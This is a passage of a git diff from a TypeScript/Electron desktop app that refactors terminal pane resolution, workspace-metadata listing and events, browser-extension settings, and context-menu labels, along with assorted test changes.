-): RuntimePtyWorktreeRecord | null {
-  const parsed = parsePaneKey(paneKey)
-  let leafPty: RuntimePtyWorktreeRecord | null = null
-  if (parsed) {
-    const leaf = source.leaves.get(source.leafKey(parsed.tabId, parsed.leafId))
-    const pty = leaf?.ptyId ? source.ptys.get(leaf.ptyId) : undefined
-    if (pty?.connected) {
-      return pty
-    }
-    leafPty = pty ?? null
-    const candidates = context ? context.leavesForId(parsed.leafId) : source.leaves.keys()
-    for (const key of candidates) {
-      const candidate = source.leaves.get(key)
-      if (!candidate) {
-        continue
-      }
-      if (candidate.leafId !== parsed.leafId || !candidate.ptyId) {
-        continue
-      }
-      const remintedPty = source.ptys.get(candidate.ptyId)
-      if (remintedPty?.connected) {
-        return remintedPty
-      }
-      leafPty ??= remintedPty ?? null
-    }
-  }
-  let newestMatch: RuntimePtyWorktreeRecord | null = null
-  let paneOf: PtyPaneOf | undefined
-  const candidates = context ? context.ptysForPane(paneKey) : source.ptys.keys()
-  for (const ptyId of candidates) {
-    const pty = source.ptys.get(ptyId)
-    if (!pty) {
-      continue
-    }
-    const recordedPaneKey = (paneOf ??= context?.paneOf ?? source.capturePaneOf())(pty).paneKey
-    const ptyPane = parsePaneKey(recordedPaneKey ?? '')
-    if (recordedPaneKey === paneKey || (parsed && ptyPane && parsed.leafId === ptyPane.leafId)) {
-      if (pty.connected) {
-        return pty
-      }
-      newestMatch = pty
-    }
-  }
-  return leafPty ?? newestMatch
-}
diff --git a/src/main/runtime/terminal/recovery/closed-tab-pane-resolution.test.ts b/src/main/runtime/terminal/recovery/closed-tab-pane-resolution.test.ts
deleted file mode 100644
index e797537f36b..00000000000
--- a/src/main/runtime/terminal/recovery/closed-tab-pane-resolution.test.ts
+++ /dev/null
@@ -1,45 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
-import {
-  LEAF_ID,
-  PTY_ID,
-  TAB_ID,
-  WORKTREE_ID
-} from '../../__fixtures__/orca-runtime-terminal-close-continuity-state-fixture'
-import { createHarness } from '../../__fixtures__/orca-runtime-terminal-close-continuity-fixtures'
-
-// #9194: a paired client asks for a pane by key; a tab the host closed after its agent exited must
-// read as gone, or the client keeps the closed tab forever.
-async function exitedPaneWithoutTab() {
-  const harness = createHarness({ publishMobileSurface: true, registerPtyBacked: true })
-  harness.runtime.setNotifier(null)
-  harness.syncEmptyGraph()
-  harness.removeVictimFromInventory()
-  const before = harness.getSession()
-  // With no desktop window, the exit itself closes the tab's last pane and so the tab.
-  await harness.runtime.onPtyExit(PTY_ID, 0)
-  expect(harness.getSession().tabsByWorktree[WORKTREE_ID]).toEqual([])
-  return { harness, before }
-}
-
-const resolve = (harness: Awaited<ReturnType<typeof exitedPaneWithoutTab>>['harness']) =>
-  harness.runtime.resolveTerminalPane(makePaneKey(TAB_ID, LEAF_ID), WORKTREE_ID)
-
-describe('resolving a pane of a tab the host closed', () => {
-  it('answers terminal_not_found once the exited pane has no tab', async () => {
-    const { harness } = await exitedPaneWithoutTab()
-    expect(() => resolve(harness)).toThrow('terminal_not_found')
-  })
-
-  it('still resolves an exited pane whose tab the host keeps', async () => {
-    const { harness, before } = await exitedPaneWithoutTab()
-    harness.editSession(() => before)
-    expect(resolve(harness)).toMatchObject({ connected: false })
-  })
-
-  it('still resolves the pane while the host session is unreadable', async () => {
-    const { harness } = await exitedPaneWithoutTab()
-    harness.makeSessionUnavailable()
-    expect(resolve(harness)).toMatchObject({ connected: false })
-  })
-})
diff --git a/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts b/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts
new file mode 100644
index 00000000000..eff460beecd
--- /dev/null
+++ b/src/main/runtime/workspaces/catalog/runtime-listing-metadata.ts
@@ -0,0 +1,28 @@
+import type { Repo } from '../../../../shared/repo-types'
+import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
+import type { WorkspaceMetadataCursor } from '../../../../shared/worktree/workspace-metadata-set'
+import type { RuntimeStore } from '../../construction/runtime-store-contract'
+import { getRepoOwnedWorktreeMeta } from '../../../workspaces/catalog/worktree-metadata-ownership'
+
+/**
+ * The metadata a listing reads, with the store's workspaceMetadata cursor taken in the same turn, so
+ * clients can tell which published metadata records the listing includes.
+ */
+export function readRuntimeListingMetadata(
+  store: RuntimeStore,
+  repo: Repo
+): {
+  repoOwnerCount: number
+  workspaceMetadata: WorkspaceMetadataCursor | undefined
+  // The repo-owned metadata row for a worktree id, from this same read.
+  ownedMeta: (worktreeId: string) => WorktreeMeta | undefined
+} {
+  const workspaceMetadata = store.getWorkspaceMetadataCursor?.()
+  const metaById = store.getAllWorktreeMeta()
+  const repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
+  return {
+    repoOwnerCount,
+    workspaceMetadata,
+    ownedMeta: (worktreeId) => getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
+  }
+}
diff --git a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts
index 2aa6864c649..63f4308ea41 100644
--- a/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts
+++ b/src/main/runtime/workspaces/catalog/runtime-managed-worktree-queries.ts
@@ -1,3 +1,4 @@
+import { readRuntimeListingMetadata } from './runtime-listing-metadata'
 import type { RuntimeManagedWorktreeQueryDependencies } from './runtime-managed-worktree-query-dependencies'
 import { resolveWorktreeHostRouting } from './worktree-launch-host-repo'
 import { createRepoRowExecutionHostLookup } from '../../../../shared/execution-host/worktree-execution-host-resolution'
@@ -137,8 +138,7 @@ export class RuntimeManagedWorktreeQueries {
     const visibilitySettings = { ...settings, worktreeVisibilityDefaults: visibilityDefaults }
     if (isFolderRepo(repo)) {
       const worktrees = listRuntimeFolderWorkspaces(store, repo)
-      const metaById = store.getAllWorktreeMeta()
-      const repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
+      const listed = readRuntimeListingMetadata(store, repo)
       const matcher = createWorktreeVisibilitySourceMatcher(
         [repo.path, ...worktrees.map((worktree) => worktree.path)],
         resolveCustomWorktreeVisibilitySources(repo, visibilityDefaults),
@@ -151,7 +151,7 @@ export class RuntimeManagedWorktreeQueries {
           matcher,
           defaultsSupported,
           visibilitySettings,
-          getRepoOwnedWorktreeMeta(repo, worktree.id, metaById, repoOwnerCount) ?? null
+          listed.ownedMeta(worktree.id) ?? null
         )
       )
       return {
@@ -159,6 +159,7 @@ export class RuntimeManagedWorktreeQueries {
         authoritative: true,
         source: 'git',
         catalogVersion: getLocalWorktreeCatalogVersion(repo.id),
+        workspaceMetadata: listed.workspaceMetadata,
         worktrees: projectWorktreeLineageWithHostPeers(store, repo, detected)
       }
     }
@@ -185,13 +186,11 @@ export class RuntimeManagedWorktreeQueries {
       resolveConfiguredWorktreeBasePaths(repo)
     )
     const expectedHostId = getRepoExecutionHostId(repo)
-    const repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
-    const metaById = store.getAllWorktreeMeta()
+    const listed = readRuntimeListingMetadata(store, repo)
+    const repoOwnerCount = listed.repoOwnerCount
     const detected = scan.worktrees.map((gitWorktree) => {
       const id = `${repo.id}::${gitWorktree.path}`
-      const meta =
-        readWorktreeMetaForHost(store, id, expectedHostId) ??
-        getRepoOwnedWorktreeMeta(repo, id, metaById, repoOwnerCount)
+      const meta = readWorktreeMetaForHost(store, id, expectedHostId) ?? listed.ownedMeta(id)
       const worktree = {
         ...mergeWorktree(repo.id, gitWorktree, meta, repo.displayName),
         hostId: repoOwnerCount === 1 ? (meta?.hostId ?? expectedHostId) : expectedHostId
@@ -210,6 +209,7 @@ export class RuntimeManagedWorktreeQueries {
       repoId: repo.id,
       authoritative: scan.ok && !scan.superseded,
       source: scan.ok ? 'git' : 'metadata-fallback',
+      workspaceMetadata: listed.workspaceMetadata,
       // Stamp the scan's starting generation: that is the catalog its rows describe.
       catalogVersion: localWorktreeCatalogVersionAt(scan.scanGeneration),
       worktrees: projectWorktreeLineageWithHostPeers(store, repo, detected)
diff --git a/src/main/runtime/workspaces/catalog/runtime-workspace-change-events.ts b/src/main/runtime/workspaces/catalog/runtime-workspace-change-events.ts
index c589d05f625..10a338ffee2 100644
--- a/src/main/runtime/workspaces/catalog/runtime-workspace-change-events.ts
+++ b/src/main/runtime/workspaces/catalog/runtime-workspace-change-events.ts
@@ -3,6 +3,7 @@ import type { AutomationsChangedPayload } from '../../../../shared/runtime-clien
 import { wakeFolderRepoGitUpgradeWatch } from '../../../ipc/folder-repo-git-upgrade-wake'
 import { runWorktreeChangeInvalidators } from '../../../ipc/worktrees/listing/worktree-change-invalidators'
 import type { WorktreeSortOrderUpdate } from '../../../../shared/worktree/sort-order-update'
+import type { WorkspaceMetadataSet } from '../../../../shared/worktree/workspace-metadata-set'
 import { NativeChatLaunchDraftOwner } from '../../agent-session/launch/native-chat-launch-draft-owner'
 
 export abstract class RuntimeWorkspaceChangeEvents extends NativeChatLaunchDraftOwner {
@@ -35,6 +36,12 @@ export abstract class RuntimeWorkspaceChangeEvents extends NativeChatLaunchDraft
     })
   }
 
+  /** One workspace's metadata, addressed: clients patch that row instead of refetching its repo. Interim transport for the record. */
+  publishWorkspaceMetadataSet(set: WorkspaceMetadataSet): void {
+    this.notifier?.workspaceMetadataSet?.(set)
+    this.emitClientEvent({ type: 'workspaceMetadataSet', ...set })
+  }
+
   /** Unlike coarse repoId-only changes, lifecycle events name the workspace; removals resolve only id/path before teardown. */
   onWorktreeLifecycle(listener: (event: RuntimeWorktreeLifecycleEvent) => void): () => void {
     return this.worktreeLifecycleEvents.on(listener)
diff --git a/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts b/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts
index a79119cb2a0..92c38427682 100644
--- a/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts
+++ b/src/main/runtime/workspaces/process-listing/workspace-process-listing.ts
@@ -297,8 +297,7 @@ export abstract class OrcaRuntimeWithGetWorktreePs extends RuntimeChatWorkerEven
           readStructuredAttentionWorkspaceLabels(this.requireStore(), scope),
         isWorkspaceMuted: (scope) => this.isWorkspaceNotificationMuted(scope.workspaceId),
         // The same contexts the session's chat row carries.
-        readOrchestration: (paneKey) =>
-          this.agentOrchestrationProjection.buildByPaneKey()?.[paneKey],
+        readOrchestration: (paneKey) => this.agentOrchestrationProjection.getForPaneKey(paneKey),
         dispatch: (event) => this.mobileNotifications.dispatch(event),
         reconcile: (state) => this.mobileNotifications.reconcileStructuredPromptAttention(state),
         now: () => Date.now()
diff --git a/src/main/server/serve-stdout-boundary.test.ts b/src/main/server/serve-stdout-boundary.test.ts
deleted file mode 100644
index 7168bccdc25..00000000000
--- a/src/main/server/serve-stdout-boundary.test.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { reserveServeStdoutForReadiness } from './serve-stdout-boundary'
-
-describe('reserveServeStdoutForReadiness', () => {
-  // #40328: unstamped serve diagnostics could not be lined up with daemon or kernel logs.
-  it('sends diagnostics to stderr with an ISO timestamp', () => {
-    const target = { debug: vi.fn(), error: vi.fn(), info: vi.fn(), log: vi.fn(), warn: vi.fn() }
-    const { error, warn } = target
-    const stamp = new Date('2026-11-09T12:00:00.000Z')
-
-    reserveServeStdoutForReadiness(target, () => stamp)
-    target.log('[runtime] client connected', { clientId: 'device-1' })
-    target.warn('[daemon] exited', 'SIGABRT')
-
-    expect(error).toHaveBeenCalledWith('2026-11-09T12:00:00.000Z', '[runtime] client connected', {
-      clientId: 'device-1'
-    })
-    expect(warn).toHaveBeenCalledWith('2026-11-09T12:00:00.000Z', '[daemon] exited', 'SIGABRT')
-  })
-})
diff --git a/src/main/source-control/hosted-review-creation-gitlab-self-hosted.test.ts b/src/main/source-control/hosted-review-creation-gitlab-self-hosted.test.ts
index bdd3a654baa..ab4d4387e4e 100644
--- a/src/main/source-control/hosted-review-creation-gitlab-self-hosted.test.ts
+++ b/src/main/source-control/hosted-review-creation-gitlab-self-hosted.test.ts
@@ -35,11 +35,6 @@ vi.mock('../git/command-runner/gh-exec-file', async (importOriginal) => ({
   ghExecFileAsync: ghExecFileAsyncMock
 }))
 
-vi.mock('../git/exec-error', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  extractExecError: vi.fn()
-}))
-
 vi.mock('../github/client', () => ({
   createGitHubPullRequest: vi.fn(),
   getRepoSlug: getRepoSlugMock,
@@ -71,6 +66,8 @@ vi.mock('./hosted-review', () => ({
 import { _resetKnownHostsCache, _resetProjectRefCache } from '../gitlab/gl-utils'
 import { diagnoseAuth } from '../gitlab/client'
 import { getHostedReviewCreationEligibility } from './hosted-review-creation'
+import { detectHostedReviewProvider } from './forge-provider-detection'
+import { rememberGlabKnownHosts } from '../gitlab/gitlab-known-host-probe'
 
 function resetMocks(): void {
   for (const mock of [
@@ -167,4 +164,49 @@ describe('GitLab self-hosted hosted review creation eligibility', () => {
       blockedReason: null
     })
   })
+
+  it.each(['per-host failure', 'global inventory', 'remembered inventory'])(
+    'keeps GitHub PR identity across repositories despite glab %s',
+    async (evidence) => {
+      gitExecFileAsyncMock.mockResolvedValue({ stdout: 'git@github.com:team/orca.git\n' })
+      getRepoSlugMock.mockResolvedValue({ owner: 'team', repo: 'orca' })
+      if (evidence === 'remembered inventory') {
+        rememberGlabKnownHosts(['github.com'])
+      }
+      glabExecFileAsyncMock.mockImplementation(async (args: string[]) => {
+        if (args.includes('--hostname')) {
+          // Captured glab 1.115 output for a configured host without a token.
+          throw Object.assign(new Error('glab auth status failed'), {
+            stdout: '',
+            stderr:
+              'github.com\n  x github.com: API call failed\n  ! No token found (checked config file, keyring, and environment variables).\n'
+          })
+        }
+        return {
+          stdout:
+            evidence === 'global inventory'
+              ? 'github.com\n  ✓ Logged in to github.com as example-user (config file)\n'
+              : 'gitlab.com\n  ✓ Logged in to gitlab.com as example-user (config file)\n',
+          stderr: ''
+        }
+      })
+      for (const repoPath of ['/first-repo', '/second-repo']) {
+        await expect(
+          detectHostedReviewProvider({ repoPath, executionHostId: 'local' })
+        ).resolves.toBe('github')
+      }
+
+      gitExecFileAsyncMock.mockResolvedValue({ stdout: 'https://forge.acme.test/team/orca.git\n' })
+      glabExecFileAsyncMock.mockRejectedValue(
+        Object.assign(new Error('glab auth status failed'), {
+          stdout: '',
+          stderr:
+            'forge.acme.test\n  x forge.acme.test: API call failed\n  ! No token found (checked config file, keyring, and environment variables).\n'
+        })
+      )
+      await expect(
+        detectHostedReviewProvider({ repoPath: '/custom', executionHostId: 'local' })
+      ).resolves.toBe('gitlab')
+    }
+  )
 })
diff --git a/src/main/sqlite/sync-database.ts b/src/main/sqlite/sync-database.ts
index 19bb23352bd..152cf740043 100644
--- a/src/main/sqlite/sync-database.ts
+++ b/src/main/sqlite/sync-database.ts
@@ -91,6 +91,10 @@ class SyncDatabase {
     this.db.exec(sql)
   }
 
+  function(name: string, callback: Parameters<DatabaseSync['function']>[1]): void {
+    this.db.function(name, callback)
+  }
+
   prepare(sql: string): SqliteStatement {
     const cached = this.statementCache.get(sql)
     if (cached) {
diff --git a/src/main/startup/main-process-plugins.ts b/src/main/startup/main-process-plugins.ts
index d50fab34c78..94a7ee83671 100644
--- a/src/main/startup/main-process-plugins.ts
+++ b/src/main/startup/main-process-plugins.ts
@@ -306,7 +306,8 @@ export async function initializeMainProcessPlugins(runtime: OrcaRuntimeService):
   watchPluginWorkspaceContext({
     delegate: pluginDelegate,
     events: pluginService,
-    onSessionWritten: (listener) => store.onWorkspaceSessionWritten(listener)
+    onSessionWritten: (listener) => store.onWorkspaceSessionWritten(listener),
+    onStateWritten: (listener) => store.onStateWritten(listener)
   })
   runtime.onWorktreeLifecycle(emitPluginWorktreeLifecycle)
 }
diff --git a/src/main/startup/main-process-ready-foundation.ts b/src/main/startup/main-process-ready-foundation.ts
index 03440649cbd..e04d0fa2f92 100644
--- a/src/main/startup/main-process-ready-foundation.ts
+++ b/src/main/startup/main-process-ready-foundation.ts
@@ -269,8 +269,8 @@ export async function initializeReadyFoundation(): Promise<void> {
         )
       }
     }
-    if ('experimentalBrowserExtensions' in updates) {
-      void switchBrowserExtensionSupport(settings.experimentalBrowserExtensions === true)
+    if ('browserExtensionsEnabled' in updates) {
+      void switchBrowserExtensionSupport(settings.browserExtensionsEnabled !== false)
     }
     if ('showMenuBarIcon' in updates) {
       // Store owns settings mutations; sync every menu-bar toggle through this listener.
@@ -299,7 +299,7 @@ export async function initializeReadyFoundation(): Promise<void> {
   registerDocPreviewGrantHandlers()
   // Session setup needs the extension support decision before loading profiles.
   initializeBrowserExtensionSupport({
-    enabled: store.getSettings().experimentalBrowserExtensions === true,
+    enabled: store.getSettings().browserExtensionsEnabled !== false,
     savedBrowserTabs: store
   })
   // Desktop webviews and runtime commands share sessions; initialize without waiting for renderer IPC.
diff --git a/src/main/startup/main-process-ready-identity-write.test.ts b/src/main/startup/main-process-ready-identity-write.test.ts
index cf804fba85d..31c24e0d4f0 100644
--- a/src/main/startup/main-process-ready-identity-write.test.ts
+++ b/src/main/startup/main-process-ready-identity-write.test.ts
@@ -108,6 +108,10 @@ vi.mock('../network/proxy-settings', () => ({
 vi.mock('../network/electron-proxy-request-guard', () => ({
   installElectronProxyRequestGuard: vi.fn()
 }))
+vi.mock('../browser/extensions/browser-extension-startup', () => ({
+  initializeBrowserExtensionSupport: vi.fn(),
+  switchBrowserExtensionSupport: vi.fn()
+}))
 vi.mock('../network/electron-proxy-credentials', () => ({ handleElectronProxyLogin: vi.fn() }))
 vi.mock('../hang-watchdog/main-thread-hang-watchdog', () => ({
   installMainThreadHangWatchdog: vi.fn()
diff --git a/src/main/startup/main-process-runtime-service.ts b/src/main/startup/main-process-runtime-service.ts
index 7b0405af786..0306a69d3b1 100644
--- a/src/main/startup/main-process-runtime-service.ts
+++ b/src/main/startup/main-process-runtime-service.ts
@@ -1,4 +1,5 @@
 import { wireRecipeWorkspaceRemoval } from '../ephemeral-vm/recipe-workspace-removal-wiring'
+import { wireGitHubIssueLinkTitleFill } from '../github/github-issue-link-title-wiring'
 import {
   applySessionSearchSettingsChange,
   installChildSessionSearchService
@@ -159,6 +160,9 @@ export function initializeMainProcessRuntime(): OrcaRuntimeService {
     recordDurableCrashBreadcrumb('agent_state_rules_active', rules)
   )
   wireRecipeWorkspaceRemoval(runtime, store, () => app.getPath('userData'))
+  // Each host titles its own workspaces' untitled GitHub issue links once, when they are linked.
+  const disposeIssueLinkTitleFill = wireGitHubIssueLinkTitleFill(store, runtime)
+  app.once('will-quit', disposeIssueLinkTitleFill)
   state.runtime = runtime
   // Opening a recipe VM's workspace from a client wakes the VM through the runtime's one owner.
   registerRecipeVmWaker({
diff --git a/src/main/startup/quit/quit-path-durable-write-blocking.test.ts b/src/main/startup/quit/quit-path-durable-write-blocking.test.ts
index 141b1bea1a1..62d678d3d94 100644
--- a/src/main/startup/quit/quit-path-durable-write-blocking.test.ts
+++ b/src/main/startup/quit/quit-path-durable-write-blocking.test.ts
@@ -134,7 +134,12 @@ function readState(dir: string) {
   return profile.readState()
 }
 
-function stallCommit(dir: string) {
+function stallCommit(
+  dir: string,
+  writer:
+    | 'writeSerializedDomains'
+    | 'writeCompleteSerializedDomains' = 'writeCompleteSerializedDomains'
+) {
   const profile = profiles.get(dir)
   if (!profile) {
     throw new Error('Missing test profile')
@@ -142,14 +147,12 @@ function stallCommit(dir: string) {
   const started = Promise.withResolvers<void>()
   const finish = Promise.withResolvers<void>()
   releases.push(finish.resolve)
-  const original = profile.authority.writeCompleteSerializedDomains.bind(profile.authority)
-  vi.spyOn(profile.authority, 'writeCompleteSerializedDomains').mockImplementationOnce(
-    async (rows) => {
-      started.resolve()
-      await finish.promise
-      await original(rows)
-    }
-  )
+  const original = profile.authority[writer].bind(profile.authority)
+  vi.spyOn(profile.authority, writer).mockImplementationOnce(async (rows) => {
+    started.resolve()
+    await finish.promise
+    await original(rows)
+  })
   return { started: started.promise, release: finish.resolve }
 }
 
@@ -271,7 +274,8 @@ describe('quit-path durable writes never park the main thread', () => {
   it('store.flushAsync() drains an in-flight debounced write before writing', async () => {
     const dir = makeDir()
     const store = await createStore(dir)
-    const gate = stallCommit(dir)
+    // The debounced UI save writes only the ui domain.
+    const gate = stallCommit(dir, 'writeSerializedDomains')
     vi.useFakeTimers()
     store.updateUI({ sidebarWidth: 100 })
     await vi.advanceTimersByTimeAsync(1_000)
diff --git a/src/main/startup/synthetic-title-runtime.test.ts b/src/main/startup/synthetic-title-runtime.test.ts
deleted file mode 100644
index 42e6c0bf972..00000000000
--- a/src/main/startup/synthetic-title-runtime.test.ts
+++ /dev/null
@@ -1,88 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const { ingestSyntheticTitleFrame } = vi.hoisted(() => ({
-  ingestSyntheticTitleFrame: vi.fn((_ptyId: string, _data: string) => {})
-}))
-
-vi.mock('../ipc/pty/pane/key-state', () => ({
-  registerPaneKeyTeardownListener: vi.fn(),
-  getPtyIdForPaneKey: (paneKey: string) => `pty:${paneKey}`
-}))
-vi.mock('../agent-hooks/server/agent-hook-server', () => ({ agentHookServer: {} }))
-vi.mock('./main-process-state', () => ({
-  mainProcessState: {
-    mainWindow: null,
-    store: null,
-    runtime: { ingestSyntheticTitleFrame, getTrackedPtyTitle: () => null }
-  }
-}))
-
-import {
-  driveSyntheticTitleFromHookStatus,
-  stopSyntheticTitleSpinner
-} from './synthetic-title-runtime'
-
-const PANE = 'tab-1:leaf-1'
-const QUESTION = JSON.stringify({ questions: [{ title: 'Which database?' }] })
-
-function codexStatus(
-  state: 'working' | 'waiting' | 'done',
-  interactivePrompt?: string,
-  toolName = 'request_user_input_async'
-) {
-  driveSyntheticTitleFromHookStatus({
-    paneKey: PANE,
-    payload: {
-      state,
-      agentType: 'codex',
-      ...(interactivePrompt ? { toolName, interactivePrompt } : {})
-    }
-  })
-}
-
-// Codex's PermissionRequest hook carries no request id; two approvals can look identical.
-const APPROVAL = JSON.stringify({ approval: { command: 'pnpm tc' } })
-
-function bellCount(): number {
-  return ingestSyntheticTitleFrame.mock.calls.filter(([, data]) => data.endsWith('\x07\x07')).length
-}
-
-describe('synthetic title BEL', () => {
-  beforeEach(() => {
-    ingestSyntheticTitleFrame.mockClear()
-    stopSyntheticTitleSpinner(PANE)
-  })
-
-  it('rings once while hooks keep restating the same open question', () => {
-    // Codex restates waiting on every tool call while its async question stays open.
-    for (let i = 0; i < 20; i += 1) {
-      codexStatus('waiting', QUESTION)
-    }
-    expect(bellCount()).toBe(1)
-    // The permission title is still reasserted, only without a bell.
-    expect(ingestSyntheticTitleFrame).toHaveBeenCalledTimes(20)
-  })
-
-  it('rings again for a new prompt and after the wait ends', () => {
-    codexStatus('waiting', QUESTION)
-    codexStatus('waiting', JSON.stringify({ questions: [{ title: 'Which table name?' }] }))
-    codexStatus('waiting', QUESTION)
-    expect(bellCount()).toBe(2)
-
-    codexStatus('done')
-    codexStatus('waiting', QUESTION)
-    expect(bellCount()).toBe(3)
-
-    codexStatus('working')
-    codexStatus('waiting', QUESTION)
-    expect(bellCount()).toBe(4)
-  })
-  it('rings for each approval during an open question, but not for the question again', () => {
-    codexStatus('waiting', QUESTION)
-    codexStatus('waiting', APPROVAL, 'Bash')
-    // Approved: Codex keeps working and restates the still-open question.
-    codexStatus('waiting', QUESTION)
-    codexStatus('waiting', APPROVAL, 'Bash')
-    expect(bellCount()).toBe(3)
-  })
-})
diff --git a/src/main/startup/synthetic-title-runtime.ts b/src/main/startup/synthetic-title-runtime.ts
index 717b9bea6cf..d4a78ac35bb 100644
--- a/src/main/startup/synthetic-title-runtime.ts
+++ b/src/main/startup/synthetic-title-runtime.ts
@@ -17,7 +17,7 @@ import { shouldCopySyntheticTitleFrameToPtyData } from '../runtime/terminal/titl
 import { mainProcessState as state } from './main-process-state'
 import { CODEX_ASYNC_QUESTION_TOOL } from '../../shared/codex-async-question-input'
 
-// Cursor redraws overwrite one-shot OSC titles; reassert at Pi's 80ms cadence and share the animation with OpenCode.
+// Agent redraws can overwrite one-shot OSC titles; reassert at Pi's 80ms cadence.
 const SPINNER_FRAMES = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
 const SPINNER_INTERVAL_MS = 80
 const syntheticTitleSpinnerByPaneKey = new Map<
diff --git a/src/main/window/editable-context-menu.ts b/src/main/window/editable-context-menu.ts
index bceda064514..3322028eec1 100644
--- a/src/main/window/editable-context-menu.ts
+++ b/src/main/window/editable-context-menu.ts
@@ -172,11 +172,11 @@ function buildMarkdownMenuTemplate(
         ]
       : []),
     { type: 'separator' },
-    { role: 'cut' },
-    { role: 'copy' },
+    { role: 'cut', label: translateMain('menu.cut', 'Cut') },
+    { role: 'copy', label: translateMain('menu.copy', 'Copy') },
     editableContextPasteItem(labels.paste, webContents),
     editableContextPasteItem(labels.pasteAsPlainText, webContents, { plainTextOnly: true }),
-    { role: 'selectAll' }
+    { role: 'selectAll', label: translateMain('menu.selectAll', 'Select All') }
   ]
 }
 
@@ -186,14 +186,14 @@ function buildNativeEditMenuTemplate(
 ): Electron.MenuItemConstructorOptions[] {
   const labels = editableContextMenuLabels()
   return [
-    { role: 'cut' },
-    { role: 'copy' },
+    { role: 'cut', label: translateMain('menu.cut', 'Cut') },
+    { role: 'copy', label: translateMain('menu.copy', 'Copy') },
     editableContextPasteItem(labels.paste, webContents),
     // Plain-text contenteditable composers already paste literally; omit redundant text-only mode.
     ...(params.formControlType !== 'none'
       ? [editableContextPasteItem(labels.pasteAsPlainText, webContents, { plainTextOnly: true })]
       : []),
-    { role: 'selectAll' }
+    { role: 'selectAll', label: translateMain('menu.selectAll', 'Select All') }
   ]
 }
 
diff --git a/src/main/window/renderer-publication-throttle-electron-fixture.ts b/src/main/window/renderer-publication-throttle-electron-fixture.ts
index 9adaac8227b..3a417f1dc9f 100644
--- a/src/main/window/renderer-publication-throttle-electron-fixture.ts
+++ b/src/main/window/renderer-publication-throttle-electron-fixture.ts
@@ -47,6 +47,7 @@ async function run(): Promise<void> {
       maxHeight: 480,
       everyNthFrame: 1,
       minFrameIntervalMs: 0,
+      holdPaint: () => () => {},
       onFrame: () => {
         frames += 1
         firstFrame()
diff --git a/src/main/window/runtime-window-lifecycle.ts b/src/main/window/runtime-window-lifecycle.ts
index 9af8fcb8048..96b3d4f769d 100644
--- a/src/main/window/runtime-window-lifecycle.ts
+++ b/src/main/window/runtime-window-lifecycle.ts
@@ -45,6 +45,8 @@ export function registerRuntimeWindowLifecycle(
       }
       send('worktrees:changed', renamed ? { repoId, renamed } : { repoId })
     },
+    // Why: interim transport for the workspaceMetadata set record; the record shape, not this channel, is the contract.
+    workspaceMetadataSet: (set) => send('worktrees:metadataSet', set),
     worktreeBaseStatus: (event) => send('worktree:baseStatus', event),
     worktreeRemoteBranchConflict: (event) => send('worktree:remoteBranchConflict', event),
     reposChanged: () => send('repos:changed'),
@@ -182,7 +184,8 @@ export function registerRuntimeWindowLifecycle(
     focusTerminal: (tabId, worktreeId, leafId) =>
       send('ui:focusTerminal', { tabId, worktreeId, leafId }),
     revealTerminalPane: (target) => revealTerminalPaneInWindow(mainWindow, target),
-    focusEditorTab: (tabId, worktreeId) => send('ui:focusEditorTab', { tabId, worktreeId }),
+    focusEditorTab: (tabId, worktreeId, options) =>
+      send('ui:focusEditorTab', { tabId, worktreeId, ...options }),
     closeSessionTab: (tabId, worktreeId) =>
       requestSessionTabCloseFromRenderer(mainWindow, tabId, worktreeId),
     moveSessionTab: (worktreeId: string, move: RuntimeMobileSessionTabMove) =>
diff --git a/src/main/workspace-hooks/folder-setup-runner-files.test.ts b/src/main/workspace-hooks/folder-setup-runner-files.test.ts
index b022c63c532..b8df281153b 100644
--- a/src/main/workspace-hooks/folder-setup-runner-files.test.ts
+++ b/src/main/workspace-hooks/folder-setup-runner-files.test.ts
@@ -25,13 +25,6 @@ function writeRunner(worktreeId: string): string {
 }
 
 describe('folder setup runner files', () => {
-  it('gives every launch its own file, so a later launch never rewrites a running script', () => {
-    const first = writeRunner(WORKSPACE_A)
-    const second = writeRunner(WORKSPACE_A)
-    expect(first).not.toBe(second)
-    expect(dirname(first)).toBe(dirname(second))
-  })
-
   it("removes only the removed workspace's runners", async () => {
     writeRunner(WORKSPACE_A)
     writeRunner(WORKSPACE_A)
diff --git a/src/main/workspaces/catalog/imported-folder-project-link.ts b/src/main/workspaces/catalog/imported-folder-project-link.ts
new file mode 100644
index 00000000000..022b9f06583
--- /dev/null
+++ b/src/main/workspaces/catalog/imported-folder-project-link.ts
@@ -0,0 +1,120 @@
+import { getRepoExecutionHostId } from '../../../shared/execution-host'
+import {
+  assertImportedFolderRemoteMatchesProject,
+  resolveImportedFolderProjectLink
+} from '../../../shared/imported-folder-project-identity'
+import {
+  getProjectIdentityKey,
+  getProjectIdForProviderIdentity,
+  hasProjectRemoteIdentity
+} from '../../../shared/project-host-setup-projection'
+import type { ProjectHostSetupExistingFolderArgs } from '../../../shared/project-types'
+import type { Repo } from '../../../shared/repo-types'
+import type { RuntimeStore } from '../../runtime/construction/runtime-store-contract'
+import { assertWslMoveHostSetupWritable } from '../../persistence/moving-wsl-projects/wsl-move-scope-guard'
+import { readCurrentGitRemoteIdentity } from './repo-git-remote-identity'
+
+export type RepositoryMetadataOwner = {
+  enqueueRepositoryMetadata: (repos: readonly Repo[]) => void
+  resolveRepositoryMetadata: (repo: Repo) => Promise<boolean>
+}
+
+export async function linkImportedFolderToProject(
+  getStore: () => RuntimeStore | null,
+  initialRepo: Repo,
